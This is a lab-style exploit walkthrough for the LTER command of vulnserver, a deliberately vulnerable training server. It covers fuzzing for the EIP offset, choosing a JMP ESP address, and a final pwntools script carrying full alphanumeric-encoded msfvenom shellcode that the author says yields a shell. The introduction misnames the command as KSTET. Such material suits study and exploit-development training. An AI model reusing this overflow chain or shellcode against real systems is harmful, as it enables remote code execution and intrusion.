Exploiting vulnserver.exe — LTER command with restricted characters
In this write-up, I will discuss about attacking KSTET command of vulnserver.exe by only using a limited set of characters.
To get started, let’s read the source code of vulnserver.
The code tells us that it reduces 0x7f
to all characters greater than 0x7f
before storing to LterBuf
, and eventually it passes LterBuf
to Function3() if our input contains a “.”
.
This means that we can only use characters that are lower to 0x80
.
Let’s inspect Function3
to have a better understanding what happens next.
The contents of LterBuf
is copied to Buffer2S
without checking the payload length. This is where the vulnerability occurs. Since Buffer2S
can only handle 2000
bytes
and LterBuf
can handle a large input, we can smash the stack by sending a payload greater than 2000 bytes
.
Our initial payload should look like this.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "LTER ."
payload += "A"*3000
r.sendline(payload)
r.close()
Sending this payload to vulnserver
makes the program crash.
Upon checking the registers, it seems that we can now control the instruction pointer.
Let’s fuzz this program to get the offset we need to control EIP.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "LTER ."
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
r.sendline(payload)
r.close()
Sending this payload gives us the unique pattern that has overwritten the instruction pointer.
The offset we need to control the EIP is 2006
.
Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send 3000 bytes
of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use JMP ESP
to jump to our shellcode.
Our payload structure should look like this.
payload = <buffer 2006 bytes> + <JMP ESP> + <shellcode>
First, let’s check if there is an available JMP ESP
instruction that we can use with the help of mona. We can simply use !mona jmp -r esp
to get a list of JMP ESP
instructions.
We need to choose an address that does not contain any restricted character.
Let’s use 0x62501203
as our JMP ESP
instruction.
Next, we need to generate our shellcode. We can simply use msfvenom
for this one.
Again, we need to use a shellcode that does not contain any restricted character ( > 0x7f
).
Upon research, I encountered alphanumeric shellcode encoder
of msfvenom
. We can use this encoder to generate a shellcode that only contains alphanumeric characters which will work since all alphanumeric characters are less than 0x80
.
Let’s generate our shellcode using this encoder.
Aside from the encoder, I also used the BufferRegister
option since we already know the location of our shellcode which is in ESP
.
Without using this option, we will have non-alphanumeric characters in our shellcode like \x89\xe2\xdb\xdb\xd9\x72
. These values are opcodes which are needed by the shellcode to obtain the absolute location of the payload in the memory.
Combining everything above, here is our final payload script.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58"
shellcode += b"\x68\x4c\x42\x35\x50\x53\x30\x37\x70\x63\x50"
shellcode += b"\x4f\x79\x59\x75\x45\x61\x79\x50\x50\x64\x4e"
shellcode += b"\x6b\x52\x70\x64\x70\x4c\x4b\x53\x62\x34\x4c"
shellcode += b"\x6e\x6b\x51\x42\x37\x64\x6c\x4b\x30\x72\x57"
shellcode += b"\x58\x64\x4f\x4d\x67\x53\x7a\x45\x76\x64\x71"
shellcode += b"\x39\x6f\x6c\x6c\x77\x4c\x35\x31\x63\x4c\x74"
shellcode += b"\x42\x46\x4c\x31\x30\x4f\x31\x7a\x6f\x36\x6d"
shellcode += b"\x73\x31\x7a\x67\x4d\x32\x6c\x32\x31\x42\x71"
shellcode += b"\x47\x6e\x6b\x71\x42\x46\x70\x6c\x4b\x62\x6a"
shellcode += b"\x45\x6c\x6c\x4b\x62\x6c\x32\x31\x71\x68\x39"
shellcode += b"\x73\x31\x58\x45\x51\x6a\x71\x32\x71\x4e\x6b"
shellcode += b"\x71\x49\x75\x70\x46\x61\x69\x43\x4e\x6b\x67"
shellcode += b"\x39\x55\x48\x4a\x43\x75\x6a\x67\x39\x4c\x4b"
shellcode += b"\x36\x54\x4c\x4b\x63\x31\x59\x46\x66\x51\x4b"
shellcode += b"\x4f\x6c\x6c\x6b\x71\x58\x4f\x76\x6d\x73\x31"
shellcode += b"\x6b\x77\x37\x48\x4b\x50\x33\x45\x4a\x56\x53"
shellcode += b"\x33\x71\x6d\x6b\x48\x67\x4b\x33\x4d\x54\x64"
shellcode += b"\x30\x75\x6a\x44\x46\x38\x6e\x6b\x30\x58\x76"
shellcode += b"\x44\x43\x31\x68\x53\x43\x56\x4e\x6b\x46\x6c"
shellcode += b"\x62\x6b\x4c\x4b\x62\x78\x65\x4c\x53\x31\x5a"
shellcode += b"\x73\x4e\x6b\x57\x74\x6e\x6b\x67\x71\x6a\x70"
shellcode += b"\x6e\x69\x51\x54\x65\x74\x77\x54\x63\x6b\x31"
shellcode += b"\x4b\x50\x61\x72\x79\x73\x6a\x56\x31\x4b\x4f"
shellcode += b"\x4b\x50\x53\x6f\x43\x6f\x52\x7a\x4c\x4b\x57"
shellcode += b"\x62\x5a\x4b\x4c\x4d\x31\x4d\x55\x38\x76\x53"
shellcode += b"\x74\x72\x67\x70\x63\x30\x31\x78\x64\x37\x31"
shellcode += b"\x63\x64\x72\x73\x6f\x50\x54\x62\x48\x52\x6c"
shellcode += b"\x32\x57\x76\x46\x55\x57\x59\x6f\x79\x45\x6f"
shellcode += b"\x48\x7a\x30\x33\x31\x67\x70\x67\x70\x74\x69"
shellcode += b"\x4a\x64\x72\x74\x32\x70\x42\x48\x66\x49\x6b"
shellcode += b"\x30\x72\x4b\x37\x70\x4b\x4f\x59\x45\x70\x50"
shellcode += b"\x30\x50\x56\x30\x46\x30\x67\x30\x70\x50\x61"
shellcode += b"\x50\x52\x70\x35\x38\x4b\x5a\x76\x6f\x69\x4f"
shellcode += b"\x6d\x30\x4b\x4f\x79\x45\x5a\x37\x63\x5a\x75"
shellcode += b"\x55\x35\x38\x39\x50\x49\x38\x4e\x68\x39\x66"
shellcode += b"\x65\x38\x56\x62\x63\x30\x32\x31\x63\x6c\x6e"
shellcode += b"\x69\x78\x66\x63\x5a\x36\x70\x73\x66\x51\x47"
shellcode += b"\x62\x48\x5a\x39\x59\x35\x62\x54\x75\x31\x39"
shellcode += b"\x6f\x4a\x75\x6d\x55\x6b\x70\x30\x74\x46\x6c"
shellcode += b"\x39\x6f\x30\x4e\x75\x58\x32\x55\x48\x6c\x31"
shellcode += b"\x78\x7a\x50\x6d\x65\x4c\x62\x66\x36\x4b\x4f"
shellcode += b"\x6a\x75\x65\x38\x51\x73\x62\x4d\x35\x34\x67"
shellcode += b"\x70\x6d\x59\x68\x63\x53\x67\x66\x37\x33\x67"
shellcode += b"\x46\x51\x59\x66\x30\x6a\x74\x52\x50\x59\x53"
shellcode += b"\x66\x49\x72\x69\x6d\x55\x36\x78\x47\x37\x34"
shellcode += b"\x51\x34\x45\x6c\x36\x61\x35\x51\x6e\x6d\x57"
shellcode += b"\x34\x64\x64\x72\x30\x6a\x66\x45\x50\x30\x44"
shellcode += b"\x43\x64\x70\x50\x73\x66\x43\x66\x36\x36\x52"
shellcode += b"\x66\x56\x36\x42\x6e\x61\x46\x31\x46\x76\x33"
shellcode += b"\x53\x66\x43\x58\x34\x39\x58\x4c\x67\x4f\x4f"
shellcode += b"\x76\x59\x6f\x6b\x65\x4c\x49\x39\x70\x70\x4e"
shellcode += b"\x66\x36\x43\x76\x69\x6f\x74\x70\x53\x58\x75"
shellcode += b"\x58\x6c\x47\x67\x6d\x45\x30\x49\x6f\x6a\x75"
shellcode += b"\x6d\x6b\x4a\x50\x6d\x65\x6c\x62\x36\x36\x52"
shellcode += b"\x48\x39\x36\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f"
shellcode += b"\x7a\x75\x75\x6c\x34\x46\x33\x4c\x67\x7a\x6b"
shellcode += b"\x30\x69\x6b\x4b\x50\x74\x35\x75\x55\x4d\x6b"
shellcode += b"\x33\x77\x77\x63\x43\x42\x50\x6f\x32\x4a\x73"
shellcode += b"\x30\x32\x73\x4b\x4f\x4e\x35\x41\x41"
# badchars, payload chars must be less than 0x7f
payload = ""
payload += "LTER ."
payload += "A"*2006
payload += p32(0x62501203)
payload += shellcode
r.sendline(payload)
r.close()
Executing this payload gives us a shell.
— ar33zy